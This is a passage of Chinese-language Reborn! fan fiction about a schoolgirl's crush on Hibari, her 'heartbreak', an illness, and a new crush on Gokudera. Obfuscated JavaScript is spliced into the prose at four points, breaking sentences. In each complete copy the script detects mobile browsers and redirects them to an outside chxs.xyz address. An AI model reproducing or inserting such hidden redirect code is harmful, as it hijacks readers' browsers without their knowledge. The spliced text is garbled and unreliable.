祢祢一愣,然后想起来前几天沢田奈奈好像是在他们几个一起写作业的时候那了张传单上来,说给沢田纲吉找了个家庭教师来着,但是…… “这么小就出来工作了吗?”她看着这个身长不超过40cm的小婴儿,语气神态是不加掩饰的惊讶。 沢田纲吉:“……关注点不对吧?!!” * 第二天早上,沢田纲吉去学校的路上碰到祢祢。 这并不稀奇,并盛本来就不是什么很大的地方,两家离得也不算远,所以他们经常能碰上。 两人说说笑笑一起去学校,但走到一个拐角处,祢祢突然停了下来:“我昨天和京子酱就是在这个路口碰到持田的,在那之前我还看到了一个奇怪的人影——” 她的话音戛然而止,扭头看向视线心虚乱飘的沢田纲吉:“——那个人……不会是你吧?跑得可真快啊,体育课上也没见你这么兴奋过。” “呃、嗯……” “而且你当时是要找京子酱的吧?跑过头了都没注意,真是粗心——如果在这儿告白的话围观的人大概会少不少。” 沢田纲吉:“不是——” 祢祢:“话说告白就是只能在两种环境下吧?一种是人很多的热闹地方,另一种是只有彼此的安静地方——当然,虽然前者也蛮不错,被众人见证的爱情固然浪漫得喧嚣,但如果我告白的话肯定选后者。” “……为什么?” “因为云雀前辈不喜欢群聚嘛。要是我约他到人多的地方,他一定没有心思听我告白,而是先思考浮萍拐抽到哪个地方最疼吧——不对,以前辈的熟练程度,大概连思考都用不着。” “……” “啊,对了。”祢祢踩着皮鞋的脚轻轻踢走面前的石块:“今天中午,我不和你们一起吃午饭哦。” 沢田纲吉步调微顿,状若无意的问:“是要去天台吗?” “当然了——我午餐的时候不一直是朋友天台两处跑吗?” “啊、啊!我知道的……” 他都看出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“什么事啊?祢祢没有告诉我吗?嘛,没关系,现在说也不迟——如果不想告诉我也可以,我不会因为这个和朋友闹脾气的,毕竟每个人都有自己的秘密嘛!”山本武爽朗道,看上去十分善解人意。 “也没什么不能告诉你的啦……”祢祢犹豫片刻,还是慢吞吞的开了口:“就是……我喜欢云雀前辈这件事……唔,已经小半年了,打算今天中午邀请他约会来着。” “……欸?祢祢,喜欢云雀?真的假的?”他露出有些怔愣的神色来。这很正常,沢田纲吉在知道这件事的时候表现得还要更夸张。 “真的。”祢祢肯定道。 “……真是不敢相信啊。”山本武定定盯了她两秒,感叹般的说,“不过好像也不算突兀……感觉祢祢每次遇见云雀的时候都有些奇怪,我还以为是我的错觉呢。” “欸?很明显吗?”祢祢有些不好意思的眨了眨眼,带着一丝懊恼道:“我以为没人能看出来的。” 毕竟这可是暗恋,被看出来了那还能叫暗恋吗? “嘛,也还好啦,”山本武真诚又爽朗的笑容很有说服力,“我就差点没看出来呢。” 祢祢松了一口气:“那就好。” 沢田纲吉:“……” 你每次碰到他时走不动道的样子想看不出来都难吧?!只有山本这种天然才发现不了!! 19.在天台 今天天气很好。 见崎祢祢甚至觉得比昨天还要更好。 天空是一种赏心悦目的湛蓝色,棉花糖般的云朵轻飘飘的路过,那慢悠悠的惬意姿态很能感染人。 祢祢觉得现在的气氛真是好极了。所以反而有些不知道该从哪里做起。 是先吃饭还是先拍照?拍完照应该可以发出约会申请了吧?那就先拍照吧,万一吃饭的时候不小心把衣服弄脏了就不好了。 她今天可是精心打扮过的。 ……所以,究竟怎样才可以做到不动声色的和云雀恭弥合照啊? 她看向侧前方,云雀恭弥就在那里。 他们离得并不远,夏季的太阳太过毒辣,墙壁的阴影二人共享。 他倚墙坐着,在吃饭,动作与姿态很板正,甚至称得上乖巧,但那身冷冽的气势并未因此消减,那乖巧被其融解,于是便显得并无违和了。 ……第一次看见云雀恭弥吃饭的时候着实把祢祢震惊到了。 大概是她难以置信的目光过于强烈,云雀恭弥朝他投来了一个疑惑的目光:“有事?” 祢祢愣愣的摇头:“没、没什么……” ……只是产生了类似于“啊,云雀恭弥居然也会吃饭”这种想法而已。 吃饭……云雀恭弥诶。 云雀恭弥居然需要吃饭? 后来她把这件事讲给沢田纲吉的时候得到了对方一个“你要不要听听你在说什么啊”的无语眼神。 说完这句话后的祢祢也忍不住笑了起来,觉得自己傻傻的。 诚然,我们的云雀委员长看上去很像是什么不食人间烟火的仙人,和这些生活化的东西似乎并不搭边,但他也是肉体凡胎,会感到饿、需要进食,说不定还会受伤生病——嘶,受伤生病……云雀恭弥吗? 听上去像是某种不可能实现的玩笑话。 云雀恭弥怎么可能受伤呢,他可是最强的啊。 祢祢调整了下位置,让自己背对着他,取出相机打开,将屏幕旋转,首先映入眼帘的是自己今天精心打扮过的漂亮脸蛋——啊,我可真好看呀。 这个乙女游戏道具一样的相机,直到现在,祢祢才发觉它其实有点鸡肋。需要两个人的正面同时出现在屏幕里什么的,面对云雀恭弥这种类型实在是有点困难。 她小心翼翼的调整着,看见自己肩侧后乌黑的发顶上移,露出整张姿容端丽的白皙面孔,一双在荫蔽下也依旧摄入的冷调眼珠正直勾勾望着她的方向:“你在干什么?偷窥?” 祢祢:“!!!” 被发现了!!! 她忙转过身,下意识将相机藏到背后:“没、没啊……呃……” 她尴尬的顿住,云雀恭弥看见她浅色的眼珠动了动,小心翼翼地窥他一眼后又迅速移开,好不心虚。 “哦?”他语调上扬,眼睛危险的眯起,祢祢总觉得他下一秒就要起身,然后抄起浮萍拐把她从天台上抽了去。 ……那样会死的吧?绝对会死的吧?!她只是个普通人啊!! 话说,难道偷拍风纪委员也是违反风纪的吗?那为什么云雀恭弥没有因为这件事打别人呢? 祢祢委屈的吸了吸鼻子,颤着与发同色的浅色睫毛去看他:“前辈……” “嗯?”又是语调上扬的一声。 话说他声音可真好听啊,只要不打人就是完美的男人了……他真的好喜欢打架啊,结婚以后会不会家暴?啊!他手上出现了什么?!那根泛着金属冷光的棍状物是什么?!是浮萍拐!他什么时候拿出来的?! 不不不——他拿浮萍拐干什么?这个姿势……他难道真的要打她吗?为什么啊……?? 祢祢感觉自己特别委屈,于是不自觉用上了质问的语气:“前辈,你为什么要家暴我?” “……”云雀恭弥的动作顿住,眉头皱得死紧,问:“你在说什么?” 祢祢:“……?” 祢祢:“!!!” 啊啊啊啊,她刚刚说了什么鬼话啊??! 祢祢语无伦次:“啊、那个、呃,我是说,我买了新相机?” “……我耳朵不聋。”而且这个疑问的语气是怎么回事,他怎么知道她有没有买新相机,她又没跟他报备。 ——该死!见崎祢祢,你到底在说什么啊?!竟然连谐音梗之力都用不出来了吗?可恶的云雀恭弥,难道是用了什么手段将她的力量封印了么?真是狡猾又强大!该死的迷人!! “……我可以和前辈一起拍照吗?” 见崎祢祢,你的嘴又开始不受使唤了……可恶,这个身体到底是谁的啊?怎么一碰上云雀恭弥就这样?她难道是云雀恭弥的玩偶么,他想怎么摆弄她就能怎么摆弄她。 “为什么?” “因为想要在自己这里留下前辈的东西。” “……” ……为什么不说话?是拒绝还是默许? 她咽了口吐沫,去偷看他的脸色,但云雀恭弥一副和往常无异的模样,反而叫她愈发忐忑了。 她将背后藏着的相机取出来,抬头看了他一眼,又低头看脚尖,然后看了他一眼,还有没有走到他身边,就站在原位,背过身,举起相机。 “……” 云雀恭弥的表情在大多数时候都很平静。因为过于平静,甚至显得有些冷漠,是一种似乎对周遭一切混不在意的孤傲。 现在的云雀恭弥依旧是这幅表情,淡淡的垂着眼——上挑的凤眼,冷色调的虹膜,还有一双平静的瞳孔。是特别‘云雀恭弥’的表情。 以往,祢祢觉得这也没什么大不了的—— 这种冷冷的表情乍一看上去跟人感觉确实又酷又有气势,很唬人,但只要一直盯着,看久了,就会品觉出一种呆呆的味道来。 像是他盯着天穹时不是在思考待会儿怎么去打人收保护费,而只是在单纯的发呆一样。这样一想,仿佛那身摄人的气势都可以被忽略,云雀恭弥就只是个普通的中学生,面无表情的时候甚至还有点萌。 人类在长久凝视远方的时候瞳孔是会散开的,云雀恭弥也不例外。 祢祢每次去天台都会度过一整个午休时间。或许是因为很喜欢天台的风景,凡是在天台遇见云雀恭弥的时候,他也总是会待很久。 祢祢很高兴他喜欢天台并愿意在这里休息,因为这样她就可以和他待在一起更久了。 祢祢虽然是个很外放的人,但也不是总有话题可以抛给他,很多时候,他们保持一直心照不宣的沉默。 祢祢甚至享受享受这种沉默。因为,只要意识到那个人和她处于同一空间、她一抬头就可以看见他,这种感觉是用语言无法叙述与传递的迷人。安心,平静,宁和,满足…… 大概是一种安静的幸福感。 有些像午睡醒来时,看见阳光穿过窗户在墙面投映出一片灿金色四角形的感觉。 懒洋洋慢吞吞,感觉就算现在死掉也是幸福的那种惬意时刻。 她经常会带一本书上来,有一搭没一搭的翻阅着,不想看了就去看不远处的云雀恭弥。 他望着远处,是在发呆吗?瞳孔是散开的呢。不过也不一定,生物课上不是讲过那什么瞳孔的放大与缩小吗,这个是正常生理现象啦。 祢祢脑袋里不着边际的想着,眼睛依旧直勾勾粘在云雀恭弥身上,几分钟后移开,翻两页书,又粘回他身上。 她发现了好玩的事情。 如果在云雀恭弥发呆(?)的时候突然喊他的话,出于本能反应,他会迅速的扭头看你,瞳孔会因此极速的缩小一下,然后又很开散开,他这时才能完全看清她,然后懒洋洋发出一个语调上扬的“嗯?”。 那瞳孔的半息变化,祢祢记得很清楚。他在那时会显现出普通人都有的、在放松时被突然点名的茫然,小动物一样,很可爱。 这后来成为了祢祢一个人的隐秘游戏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14661292|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她不会很频繁的进行这种游戏,只在偶尔无聊和不开心的时候会这样——是的,即使是和云雀恭弥待在一起,祢祢也会偶尔感到不愉快。 这其实很好理解——如果你喜欢一个人,特别特别喜欢,喜欢到如果得不到他同等的喜欢就觉得了无生趣、恨不得毁天灭地的话,一定可以理解的。 她这么喜欢他,和他待在一起时,她的身体与灵魂仿佛不归属自己,心跳与思绪都因他的语言和动作而起伏跌宕,那根可以操控她不知名丝线被他轻浮地掌握着,他甚至不知道自己还拥有这么一根线。 她的茫然,她的不安,她的窃喜,她的愉悦……明明这些清晰都是因他而起,他却对此一概不知,这些乱七八糟的情感仿佛都是她一个人的,与他毫无干系…… ——这真是太不公平了。 但这情绪罕见的很,和云雀恭弥在一起时,还是快乐占大头。 因此,祢祢可以肯定,‘游戏’本人是觉得不会察觉到的……吧? 她陡然想起来,之前有几次因为还没找到话题就开了口的情况,于是只能朝对方投以讨巧卖乖的祈求目光,也不知道他有没有察觉到呢…… “好了吗?” 少年冰块相击般的悦耳声线打断了她的思绪,祢祢一愣,僵硬的牵动了下唇角,按下下拍照键。 “好了……”她闷声。 现在就是想要如何找借口离开这里了,祢祢想。 她长这么大还是第一次不及格!! ……她这次是真生气了。她决定不要再喜欢云雀恭弥了。 “——拼死和祢祢一起吃午饭!!!” 就在天台陷入莫名的沉寂之时,一道熟悉的声音从入口处隐约传来。 祢祢一惊,下意识扭头望去,之见天台的门被猛得踹开,恶灵附身版的裸奔着火沢田纲吉出现在她眼前。 他先是动作夸张的扭头在天台巡视了一圈,嘴里嚷着“祢祢在哪里”,然后视线猛得锁定她,祢祢感觉自己起了一身鸡皮圪塔——她根本不知道跟中了邪一样的爆衣状态沢田纲吉相处。 只穿了一条蓝底星星内裤的沢田纲吉“刷”地冲到她面前,拎起她放在一旁的便当盒打开,挖了一大勺米饭送到她嘴边,恶狠狠道:“吃!!!” 祢祢被摄住,直愣愣张开嘴含了进去。 “嚼!!!” 照做。 “吃!!!” 又挖了一勺。 “……” 在祢祢将第二勺米饭咽下去后,沢田纲吉头上明亮的火焰才缓缓熄灭,凶狠的表情也逐渐消融,正尴尬又手足无措地看着祢祢嘴角雪白的米粒。 “光吃米饭会噎着。”顶着沢田纲吉愧疚的视线,祢祢从他手中极其自然的接过餐具,然后给自己喂了块红烧肉,平静道。 “……” “你要来一块吗?”她体贴道。 “不、不用……” “哈哈阿纲跑得可真快啊!”熟悉的爽朗声线,祢祢扭头看去,果然是山本武,肩头还有穿西装的可爱小孩Reborn。 “ciao~”可爱小孩Reborn很有礼貌。 “诶,祢祢还没有吃饭吗?”山本武很自然的走到她面前,问。 “啊,还没有……不过刚刚阿纲喂我吃了两口。” “原来阿纲那么着急上天台是因为担心祢祢不会好好吃饭啊,真是关爱朋友的好孩子呢!” “……” “呵。” 蕴含着低气压的哼笑传进耳朵,祢祢顿时浑身一僵,数了数在场人数,想,这算不算群聚?是不是违反风纪了?违反风纪会怎么样…… “群聚——” “再见前辈!改天再聊——” 祢祢连忙扯着沢田纲吉和山本武往出口跑。 ——还有,感谢沢田同学在危机关头也依旧牢牢捧着手中的饭盒,不然她今天中午就要饿肚子了。 20.失恋 “我失恋了。” 中庭,祢祢戳着米饭,忧郁道。 沢田纲吉愣愣望她,发出一个短促而疑惑的音节:“……啊?” 山本武一脸天然的询问:“怎么了?难道是祢祢不喜欢云雀了吗?” “差不多吧。”她长长的叹了口气:“他说不定很讨厌我呢。”都没及格。 她长这么大还是第一次不及格呢! “诶?为什么这么说?”山本武好奇。 祢祢隐忍的看他一眼,沉默着摇了摇头。 相机的事自然不能跟他们说,这种莫名其妙的东西说出去也没人信,只会被当成玩笑话。 ……而且也不知道这件事被其他人知道了会不会造成什么不好的后果……小说里就经常这样写。她并不想连累朋友,所以还是当那些古怪的事情都不存在吧。 ——这就是主角背负巨大秘密的感觉吗?真是新奇。 祢祢叹了口气,只觉自己任重而道远,转移话题道:“放学后我们一起去玩吧?” 山本武在一旁撑着脸:“好啊,祢祢想去哪儿玩呢?” 祢祢眼珠滴溜溜转了转,笑道:“酒吧怎么样?悼念我逝去的初恋……” 山本武饶有兴趣:“酒吧吗?我还没有去过呢,是要喝酒么。” 祢祢点点头:“嗯!就是传说中的‘借酒消愁’,小说里都是这么写的,失恋了要去酒吧,说不定还能邂逅新的爱情。” 山本武摸着下巴沉吟:“邂逅新的爱情么……” 沢田纲吉:“……” 沢田纲吉:“你们在说什么啊?!未成年是禁止饮酒的吧!!” 祢祢义正言辞:“说什么傻话啊阿纲,祢祢我今年已经二十一岁了好吗?” 山本武佯装正色:“前两天刚过完二十二岁生日。” 沢田纲吉:“……没人会信的吧?!” 祢祢熟练的忽略他的吐槽,扭头问:“诶?阿武你前两天过了生日吗?我怎么不知道。” 山本武开朗的摸摸头:“不是啦……我生日是4月24。” “4月24么……我记住了,到时候会给阿武你送生日礼物的。” “诶?真的吗?那就提前谢谢祢祢了——但我还不知道祢祢的生日呢,到时候要怎么回礼啊。” “啊,我的生日是6月1日,是中国的儿童节呢。” “儿童节吗,很是可爱的日子。” 沢田纲吉:“……不要忽视我啊!!” 祢祢闻言扭头看他:“话说阿纲的生日也快到了吧?记得是10月中旬……10月14,对吧?” 沢田纲吉:“啊、呃……对……没想到你还记得啊……” 他有些不好意思的挠了挠头,面上有些红。 “——那是,我记性可是很好的。”她得意:“所以,为了庆祝阿纲临近的生日,我们去搞点酒尝尝吧!” 沢田纲吉立刻铁面无私:“不行!” “唉……” 她再次长长叹了口气,撑着下巴恹恹道:“既然没办法借酒消愁,那就借冰淇淋消愁吧。” 山本武开玩笑说:“那祢祢还怎么邂逅爱情呢?” “爱情这东西,该来的总会来的。”她故作玄虚道,“酒吧不是邂逅爱情的唯一场合,说不定冰淇淋车也可以——对了,昨天那个叫Reborn的小朋友呢?他还会来吗?我可以请他吃冰淇淋。” 沢田纲吉:“啊、呃,他啊……Reborn他不用——” “ciao~” 说RebornReborn到,蚊香鬓角的小婴儿像动画片里那种会弹出来报时的小鸟那样,在沢田纲吉不可置信的惊呼中华丽登场。 “蠢纲,拒绝女士的好意可不是绅士该做的,”他又看向祢祢,“我要咖啡味的。” 沢田纲吉:“……你在说什么冠冕堂皇的借口?!明明只是自己想吃吧?!” 祢祢也很惊讶:“——这个出场方式好炫酷!是怎么做到的!?” “……” —— 祢祢并没有从Reborn哪里得到科学的解释,也没有在冰淇淋车旁邂逅爱情,但她因为连吃三个冰淇淋病倒了。 “你昨天到底干了什么?怎么突然生病了?” 美佐纪替她请了假,一边翻家庭医疗箱一边逼问。 祢祢头上敷着湿毛巾,闻言沉默片刻,把前暗恋对象拉出来当了借口,故作可怜的说:“……失恋了……唔、好难过……” 她小声抽噎着,沙哑着嗓子开始慢吞吞卖惨,大意就是向喜欢的人告白被拒,伤心欲绝,然后借冰淇淋消愁,一不小心就生病了。 大概是生病的人更容易情绪化,说着说着,她还真动了真感情,觉得自己当真是委屈的很。 ——虽然云雀恭弥没有亲口拒绝她,但相处了大半年,好感度居然都没及格,这还不够说明吗?! 她对他可是足足有92分呢!差一点就能感受沢田纲吉的自恋(?)程度!!这才是恋人程度的喜欢吧?!不及格说不定讨厌的程度呢! ……从天台下来后,祢祢越想越不高兴,甚至曾希冀的想,说不定57分已经算高分了,只是因为沢田纲吉他们给的分高所以显的很低…… 虽然可能性几近于无,但祢祢还是满怀希望的拉了一个不熟的同学询问是否可以合照,得到许可后一看头顶——喔嚯,68。 她扭头细细打量对方。 是个男生,似乎刚从体育场出来,身上穿着运动服,带着一层湿润的薄汗,脸很红,但祢祢无比确定她没有见过他。 ……陌生人的好感度都有68,但云雀恭弥跟她认识大半年了却只有57!! 她和他认识的时候甚至比和认识沢田纲吉的时间都要早——准确来讲,云雀恭弥是她在并盛中学记住的第一个人。 不求他和沢田纲吉那样有高达八十几的分数,但连一个陌生人都比不上,未免也太叫人难过了…… 反正祢祢有一瞬间难过到几乎想要死掉。 然后,她想:可恶的云雀恭弥,害她这么伤心,再也不要喜欢他了。 “……再也……不要喜欢他了……呜、” 等祢祢抽噎着说完,就换成美佐纪在一边手忙脚乱的哄她,说些什么“不喜欢就不喜欢下一个会更好”之类的话。 祢祢更伤心了:“我怎么知道下一个会不会更好啊,我只知道云雀恭弥现在对我来说就是最好的……” 美佐纪苦恼地皱起眉,半晌开口:“先把药喝了吧。” 她的哭声戛然而止,被美佐纪扶着喝药。 “好苦……” 她难受道。 “喝完有糖。”美佐纪安抚说。 喝完药后的祢祢安静下来,盯着天花板发呆,脑袋里什么都没想。 美佐纪拿着手帕过来拭她脸颊上的泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14712182|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,手指凉凉的,很舒服,祢祢下意识蹭了蹭,美佐纪轻笑了下,轻轻抚摸她蓬松的发顶,痒痒麻麻的。 退烧药里有安眠成分,在安定的环境中,祢祢很快困意上涌,没一会儿就睡着了。 —— 下午的时候,放学的沢田纲吉和山本武来看她。 祢祢的烧还没退,晕晕乎乎的半张开眼,脸上是不自然的潮红,浅色眼睛里湿漉漉的沁着水汽。 山本武蹲在她床前,抬手轻轻触了触她的颊,指节蜷了蜷,忍不住感叹:“好烫啊,祢祢。” 祢祢迟缓地眨了眨眼,透过自己垂下的睫毛缝隙窥见他炽亮的、直勾勾盯着她的琥珀色眼瞳,颜色似要比往常稍暗些,像是沉在河底的沙。 高温烧得她嘴唇发干,口腔里也涩涩的,难受的很。 再加上被打断休息,心情也糟的很。 祢祢动了动唇,沙哑着嗓子开口:“水……” 一旁的沢田纲吉连忙起身:“我去倒!” 目送着沢田纲吉跑远,山本武重新垂头看她:“祢祢生病了啊。” ……废话。 “脸好红。”他又说。 “祢祢什么时候才会好呢?”他像是在喃喃自语,又抬手用手指背贴了贴她的脸。 如果两个同样冰冷的人触碰彼此,那更冷的那个就会感受到温暖,同理,同样滚烫的两个人肌肤相触,更热的那个就会感到凉爽。 现在就是这种情况。 放在平日里,山本武是断不可能说“你身上好烫”这种话的,因为祢祢的体温一直都偏低,即使是在夏天,身上也总是凉凉的。 而祢祢也绝对不会觉得山本武身上凉快,毕竟青春期男孩身上的温度总是很高,运动系尤甚。 但对现在的祢祢来说,山本武是凉的。 她被放在铁锅里,身周是沉沉浮浮的水,冲得她头脑发昏,铁锅低下烧着烈火,比盛夏的烈阳还要毒辣。 她马上被煮熟了,说不定会被撒上孜然吃掉…… 不不——煮的东西撒孜然会好吃吗?那……应该放盐葱姜蒜之类的……? 不要啊…… 这种可怕的幻觉与联想让祢祢感到不安,下意识贴近凉的东西——山本武的手。 凉凉的,又羽毛般轻盈……像冰淇淋。 ……话说,煮饭的时候往锅里加冰淇淋会好吃吗? 想想就够黑暗的了。 “好热……” 他的手在她主动贴近的时候下意识往回缩了缩,像是被她脸上罕见的高温烫到了,但很快就在她无意识发出不满的哼唧声时下意识贴了上去。 甚至还捏了捏她颊侧的软肉,不重,但这种羽毛扫过般轻盈的力道反而叫人发痒,她想扭头避开,可稍一远离,他的手便又如影随形般贴了上来,好不黏人。 祢祢皱了皱眉,念及二人友谊和舒服的低温没有驱逐他。 但那家伙反而得寸进尺,手指顺着侧颊滑下去,轻轻揉了下她柔软泛红的耳垂。 他指尖被她的温度沾染,已经不够凉了。 祢祢嫌弃的歪头,想避开山本武的手,但他就像知道她在想什么那样,将另一只手凑了过来,扶住了她往一边倒、想躲开他的脸颊。 惹人喜爱的冰凉刹时俘获了她,但也没有空隙再去躲避山本武了。 不过没关系,为了舒服,她可以暂时忍受天然系友人没眼力见的触碰。 21.第二次一见钟情 第二天下午的时候,祢祢的烧终于退干净了。 大病初愈精神好,祢祢只觉一身轻松,恨不得学笹川京子的白毛哥哥那样绕着并盛跑两圈然后大喊“极限!”。 她哼着轻快的小调洗漱打扮,蓬松的头发被束起来,发尾打着卷儿,掉色的指甲被重新染色,那架势没比前两天去见云雀恭弥的时候弱。 路过的美佐纪见状挑了挑眉:“这是干什么啊?不死心打算再去告白一次吗?” 祢祢嗔她一眼:“平常不可以打扮吗?非要告白才可以这么弄吗?” 美佐纪讨饶:“没啊,就算不出门也可以盛装打扮——就是祢祢酱平常都不怎么打扮,感觉有点新奇——是要出门吗?” 祢祢往刘海上别了一个颜色鲜亮的红色小发卡,心情很好的回:“对啊,待会儿要去学校。” “去学校?” 美佐纪愣了愣,抬头看墙上的时钟:“可不是马上就到放学时间了吗?” “对呀。”祢祢回答。 美佐纪问:“那为什么还要去学校呢?是有什么重要的东西落下了吗?” “不是啦,是今天有排球比赛——我要去给阿武他们加油。” 她将卷起的制服裙边理好,挥手:“我出发啦——” “一路顺风——” —— 今天依旧是个好天气。 湛蓝的天和漂亮的云,和她还喜欢云雀恭弥的时候没两样。 之前,她总认为是自己的心情影响了眼中的景色,毕竟大多数事物的意义都是人类的情感赋予的,但其实抛掉个人情感给予的滤镜,那些东西也足够迷人,所以才会被和那些美好的人事联系在一起。 人们总说转角遇到爱,大意是说爱情总是不期而遇,说不定只是路过一个拐角就能碰上此生挚爱,真爱总在不经意间降临。 祢祢当然是认可这句话的。 人类的情感实在是复杂的很,就连产生它的人也难以捉摸。 就像在遇上云雀恭弥之前,她实在是没想过自己会这么喜欢一个人。 青春期的少年人总是有些怀春心思,情窦初开的时节,很难不去想象未来的恋人会是怎样。 他长什么样子?他的性格怎么样?他的喜好是什么?我和他会怎样相遇,又会如何相恋呢?…… 祢祢自然也思考过这些问题。 甚至,作为热衷于恋爱作品的青春期女孩,她思考的更加详细,几乎要将从相遇到死亡的全过程设想完。 她最初设想中的理想型,优雅、包容、绅士、懂浪漫……与云雀恭弥此人相比,不说大相径庭,也算是截然相反了。 但祢祢偏偏就喜欢他,偏偏就是他。 怎么偏偏就是云雀恭弥呢? 这是无法用科学解释的。科学说爱情是激素分泌产生的幻觉,却无法解释为什么偏偏是那个人。 不过,祢祢也没想用科学那种东西来给自己的心动找个理由,在她看来,将理论和情感放在一起,就像是在一抷新雪上浇粪水,简直是世界上最下流的玷污,是她所无法忍受的。 反正人类的情感就是很复杂,她并不想去追根究底,那实在是太影响她的人生体验了。 爱情确实是突如其来的,就像祢祢对云雀恭弥的一见钟情,打破了她从前对爱情的所有幻想与预设,蛮横的将那张计划表擦净,强硬的写上‘云雀恭弥’几个字。 不过‘转角遇到爱’光从字面意思来看实在有些太过随意,一拐角就能遇见什么的,过于平淡了些,不符合祢祢的恋爱美学,至少也要有点戏剧性吧?像是少女漫里那样。 邂逅爱情之时,还是要浪漫些的,毕竟太过随便和轻易总是叫人感到轻浮廉价,缺乏安全感。 但就像上面说的,爱情的总是在不经意间降临。 真的就是一个拐弯的功夫,毫无预兆地,她与爱情不期而遇了。 对方身上好像有不少金属饰品,她撞上去的时候只觉像是躺在床上看大部头书没拿稳,额头生疼一片。 “对不起……” 她踉跄着向后退了两步,下意识道,但语气里却并无多少歉意,捂着被撞疼的额头有些不高兴的抬头,浅色的瞳仁因疼痛起了薄雾,然后便望进了一片碧绿的海。 她缓缓睁大了眼。 ……是比上一次更加突然的邂逅,像是一只雀鸟掠过树梢,还没来得及反应就已然射向远方,但你就是知道,有一只鸟儿曾经路过,仅留下拍打翅膀声音和几片飘落的树叶,那是它遗落的伴手礼。 是一个少年——废话,学校里当然不是这个年纪的少年人就是老师了,不过也有草壁副委员长那种长相成熟可靠的。 他有一头半长的银灰色头发,阳光下带着丝绸般顺滑的光泽,大概是混血,五官深刻,肤色白皙,还有一双宝石般清晰又好看的绿眼睛,像是刚从波子汽水瓶里取出来、还洇着水的玻璃珠,很是迷人。 他的身形看起来很是清瘦,但却意外的结实,被祢祢撞了一下也没有丝毫动摇,但也因此停下了脚步,神色不善的抬眼望她,看着很是凶恶,然后在对上她像是要哭出来一样的表情后又突然顿住。 “喂,你……” 半晌,他才仿佛很不耐烦般皱起眉,有些迟疑地开了口。 眼睛好漂亮,声音也好好听。好喜欢。 “你的名字——” 祢祢直勾勾盯着他,像是山本武盯着棒球,专注得有些吓人:“——可以告诉我吗?” …… 美佐纪说的没错,就算是一段失败的关系,也总能从中得到些什么。 虽然祢祢并不认为自己与云雀恭弥的关系是失败的——话说他们真的建立了什么关系吗? ……饭友么。 云雀恭弥承认吗? 他连好感度都不及格。 祢祢承认,自己对前暗恋对象疑似讨厌自己这件事依旧耿耿于怀。 好歹是货真价实的初恋,暗暗追了大半年,这样的结果实在是叫人挫败。 目前,这场单方面的初恋留给她最大的东西就是知道了‘喜欢’到底是什么。 文学作品中的恋爱固然看得人津津有味,但人类的情感如此复杂,文字描述是难以清晰概括的,于是只得用一些抽象的形容去营造氛围,纵使短暂体验也难以言明,要等真正经历才恍然懂悟。 祢祢对云雀恭弥就是这样。 那时从巷口和他分开后,她着实恍惚了好一会儿,一边不辨方向的向前走一边抬手感受自己失衡的心跳,感到茫然无措。 那种被箭矢穿透心脏的感觉仿佛还存于身体,她越走越慢越走越慢,然后缓缓停下,直到看见一只拖着牵引绳的小狗从自己面前经过 ,钻进了半开的铁栏门里,才回过神来。 她后知后觉的反应过来,自己刚刚好像一见钟情了。 ……可恶,连他的名字都不知道。 她感到有些懊恼,不知道是对谁的。 有了那次经验,祢祢至少很快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739926|155618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就反应过来,先向对方要了名字。 要不然像上次那样还了得。 不过就算不知道名字似乎也没有上次那么糟糕,她还有朋友,问问总能知道的。 “我们学习有没有混血儿?”笹川京子眨了眨眼,“今天来了个转学生,据说是意大利来的……啊,祢祢还不知道呢。” 转学生? 难怪没印象呢。 此等美貌,纵使瞧着有点凶,人气也绝对不可能会比山本武差,就算不在同一班级,也总该听说过的,如果是转学生就好理解了。 “他是不是绿眼睛?”祢祢弯着眼睛问。 “诶?祢祢怎么知道的?” 她唇角压不下去,很是愉悦的模样:“他是不是银色头发,身上还有很多金属饰品?” “是的——祢祢难道见过他了吗?”笹川京子好奇道。 “嗯……好像是见过了——是叫狱寺隼人对吧?” “对,看着凶凶的。” “那就认识了,他是我们班的吗?” “是的。” “那就好……” “不过,他好像和纲同学认识的样子。”笹川京子有些苦恼的样子:“今天早上不小心踹翻了他的桌子,还一直盯着他——可能是认识吧。” “……踹翻了桌子?”她愣愣重复。 “对。” ……难道他不喜欢沢田纲吉? 虽然他那副唯唯诺诺的样子是有时候看得人火大,但也不至于踹桌子吧。 难道这就是传说中的气场不和?就跟她和那个小学同学那样? “……” 祢祢开始思考爱情与友谊该如何调和。 “祢祢——” 